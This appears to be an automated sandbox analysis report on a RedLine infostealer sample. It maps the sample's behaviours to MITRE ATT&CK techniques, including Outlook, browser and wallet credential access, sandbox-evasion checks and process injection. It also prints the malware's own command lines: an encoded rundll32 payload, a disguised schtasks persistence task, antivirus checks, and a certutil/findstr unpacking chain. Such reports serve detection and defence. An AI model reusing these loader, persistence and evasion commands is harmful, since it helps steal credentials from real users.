redline | a3c3cb2e026ce76afda0767f8d2a3d062e84237d62348e3d5b397ea3f82fb365

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	42A7.exe

Loads dropped DLL 1 IoCs

pid	Process
3388	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	rundll32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	rundll32.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Videos\Captures\desktop.ini	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3056 set thread context of 3680	3056	Books.exe.pif	112

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4208	3388	WerFault.exe	102

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3928	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\IESettingSync	Process not Found
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	Process not Found

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2891029575-1462575-1165213807-1000\{AC63EDC3-5651-4110-BBAF-3D533F1B8C72}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2891029575-1462575-1165213807-1000\{ADFBDB4D-9654-4FCE-9839-45775359F2E7}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	Process not Found

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1412	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4804	file.exe
4804	file.exe
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
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2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
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2640	Process not Found
2640	Process not Found
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2640	Process not Found
2640	Process not Found
2640	Process not Found
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2640	Process not Found
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2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found
2640	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4804	file.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found
Token: SeDebugPrivilege	3680	jsc.exe
Token: SeShutdownPrivilege	2640	Process not Found
Token: SeCreatePagefilePrivilege	2640	Process not Found

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
3056	Books.exe.pif
2640	Process not Found
2640	Process not Found
3056	Books.exe.pif
3056	Books.exe.pif
2640	Process not Found
2640	Process not Found

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3056	Books.exe.pif
3056	Books.exe.pif
3056	Books.exe.pif

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2936	OpenWith.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 3916	2640	Process not Found	86
PID 2640 wrote to memory of 3916	2640	Process not Found	86
PID 2640 wrote to memory of 3916	2640	Process not Found	86
PID 2640 wrote to memory of 3724	2640	Process not Found	87
PID 2640 wrote to memory of 3724	2640	Process not Found	87
PID 2640 wrote to memory of 3724	2640	Process not Found	87
PID 2640 wrote to memory of 2852	2640	Process not Found	88
PID 2640 wrote to memory of 2852	2640	Process not Found	88
PID 2640 wrote to memory of 2852	2640	Process not Found	88
PID 2852 wrote to memory of 5052	2852	445E.exe	90
PID 2852 wrote to memory of 5052	2852	445E.exe	90
PID 2852 wrote to memory of 5052	2852	445E.exe	90
PID 5052 wrote to memory of 1144	5052	Engine.exe	91
PID 5052 wrote to memory of 1144	5052	Engine.exe	91
PID 5052 wrote to memory of 1144	5052	Engine.exe	91
PID 1144 wrote to memory of 4756	1144	CmD.exe	93
PID 1144 wrote to memory of 4756	1144	CmD.exe	93
PID 1144 wrote to memory of 4756	1144	CmD.exe	93
PID 4756 wrote to memory of 2284	4756	cmd.exe	97
PID 4756 wrote to memory of 2284	4756	cmd.exe	97
PID 4756 wrote to memory of 2284	4756	cmd.exe	97
PID 3724 wrote to memory of 3928	3724	42A7.exe	98
PID 3724 wrote to memory of 3928	3724	42A7.exe	98
PID 3724 wrote to memory of 3928	3724	42A7.exe	98
PID 4756 wrote to memory of 4332	4756	cmd.exe	101
PID 4756 wrote to memory of 4332	4756	cmd.exe	101
PID 4756 wrote to memory of 4332	4756	cmd.exe	101
PID 3916 wrote to memory of 3388	3916	41BC.exe	102
PID 3916 wrote to memory of 3388	3916	41BC.exe	102
PID 4756 wrote to memory of 956	4756	cmd.exe	103
PID 4756 wrote to memory of 956	4756	cmd.exe	103
PID 4756 wrote to memory of 956	4756	cmd.exe	103
PID 4756 wrote to memory of 4640	4756	cmd.exe	104
PID 4756 wrote to memory of 4640	4756	cmd.exe	104
PID 4756 wrote to memory of 4640	4756	cmd.exe	104
PID 4756 wrote to memory of 3056	4756	cmd.exe	105
PID 4756 wrote to memory of 3056	4756	cmd.exe	105
PID 4756 wrote to memory of 3056	4756	cmd.exe	105
PID 4756 wrote to memory of 1412	4756	cmd.exe	106
PID 4756 wrote to memory of 1412	4756	cmd.exe	106
PID 4756 wrote to memory of 1412	4756	cmd.exe	106
PID 3056 wrote to memory of 3680	3056	Books.exe.pif	112
PID 3056 wrote to memory of 3680	3056	Books.exe.pif	112
PID 3056 wrote to memory of 3680	3056	Books.exe.pif	112
PID 3056 wrote to memory of 3680	3056	Books.exe.pif	112
PID 3056 wrote to memory of 3680	3056	Books.exe.pif	112

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	rundll32.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4804

C:\Users\Admin\AppData\Local\Temp\41BC.exe
C:\Users\Admin\AppData\Local\Temp\41BC.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Windows\system32\rundll32.exe
  "C:\Users\Admin\AppData\Roaming\nsis_unse579191.dll",PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8|AtBQPz8DL|AG8ATgA1AHnvAFYAcBsAdwA3vk0AdQBCAFctAln|SIPsKOgEAgD|AEiDxCjDzMz|zEyJRCQYSIn|VCQQSIlMJAj+XQFIi0QkMEiJ2wQkgQE4SG8ACEhvx0QkEC0B6w6BAV8QSIPAAY8BEIEBt0BIOZYAcyWfA4v|DCRIA8hIi8HXSItMqwFUewAD0f9Ii8qKCYgI6|3BZgVlSIsEJWD+8|AzyUiLUBhI|zvRdDZIg8Ig|0iLAkg7wnQq|2aDeEgYdRpM|4tAUGZBgzhru3QHERFLdQgREHj|EC50BUiLAOuv1UiLSP0AwWoAQP9TVVZXQVRBVe9BVkFXXQFmgTn|TVpNi|hMi|K|SIvZD4X88|BM|2NJPEGBPAlQv0UAAA+F6vPwQe+LhAmI8|CFwEi|jTwBD4TWahGDd7wJjC0BD4TH8|D|RItnIESLXxz|i3ckRItPGEz|A+FMA9lIA|H|M8lFhckPhKT+8|BNi8RBixBF|zPSSAPTigKE|8B0HUHByg0Pe77A+gABRAPQvxH|dexBgfqq|A3|fHQOg8EBSYP|wARBO8lzaev|xovBD7cMTkX|iyyLTAPrdFj7M+2qEHRRQYsU|sEA0zPJigJMi9|C6w|BycgRA8je5RABQYoA1RDtM3|AM|ZBOwy24BD+pgCDxgGD+Ahy|+7rCkiLy0H|f9VJiQT3g8XkEH|EBDtvGHKvZgH|QV9BXkFdQVzvX15dWzMXSIHs+2ABZACL6ehm|v|||0iFwA+EmNZ1IEyNrwGLKxDIM|f|6Jt9II1fBEz|jUVGM9KLy||3VCRogCBMi+AP64RrdSBFqBAzwIt905EgSIl8JCCmIP1wgCBIi|APhEv8dSCmIFBIjVYIRH+NR0BIjYwkhRG|SIvY6Hz9fiCNq1ZI3iAQ4iHM8|Do|WfvIESLBo1XCPRBIKYgWMohiYQkgNqHEt7z8IsO2iBYiWOMJHERBzCRIOgx7yD7i5wtMkyLXTpI74P7bEiKIDBMib9kJDhMi6QaMky7iVyEAYQk3IcRhu2SjRGNR0swjCTwfvPwSYvU6On8BTC7ipx4MkiNhHgyQf+A8yGNT2xEMP0YpAKD6QF184H9vHgyIVJleHVN74uEJPQiMZQk+P41AcJIO9hyOIP|+mx2M0SNSUCe+gCUQbgAmACmIECeyiL4dBlEtjDAMUnvjVQkbJEgSYPod2zoa4IwSIvOpiD|eEiF|3QSi1XzQkyOMBsxSI1MJD9A|9dIgcR0IWEkAC0ILQE=
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Accesses Microsoft Outlook profiles
  - Checks processor information in registry
  - outlook_office_path
  - outlook_win_path
  PID:3388
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3388 -s 552
    3⤵
    - Program crash
    PID:4208

C:\Users\Admin\AppData\Local\Temp\42A7.exe
C:\Users\Admin\AppData\Local\Temp\42A7.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3724
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
  2⤵
  - Creates scheduled task(s)
  PID:3928

C:\Users\Admin\AppData\Local\Temp\445E.exe
C:\Users\Admin\AppData\Local\Temp\445E.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2852
- C:\Users\Admin\AppData\Local\Temp\SETUP_10322\Engine.exe
  C:\Users\Admin\AppData\Local\Temp\SETUP_10322\Engine.exe /TH_ID=_4532 /OriginExe="C:\Users\Admin\AppData\Local\Temp\445E.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\SysWOW64\CmD.exe
    C:\Windows\system32\CmD.exe /c cmd < 19
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\SysWOW64\cmd.exe
      cmd
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4756
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell get-process avastui
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2284
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell get-process avgui
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4332
    - - C:\Windows\SysWOW64\certutil.exe
        
        certutil -decode 8 8fXDat
        5⤵
        
        PID:956
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^CJMRhqLonMpPtqttXbStBKQHMgyjkobFJmzZkwjOwioVHihRIVWBQcCSTytYVnWdfEyFHyTVltrxBVqFwgEdkVOgWAuu$" 8fXDat
        5⤵
        
        PID:4640
    - - C:\Users\Admin\AppData\Local\Temp\hql1put4.xax\13537\Books.exe.pif
        
        13537\\Books.exe.pif 13537\\b
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:3056
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3680
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 8
        5⤵
        Runs ping.exe
        
        PID:1412

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Modifies registry class
PID:3024

C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
1⤵
- Executes dropped EXE
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
- Checks processor information in registry
- Modifies registry class
PID:4952

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 3388 -ip 3388
1⤵
PID:1616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery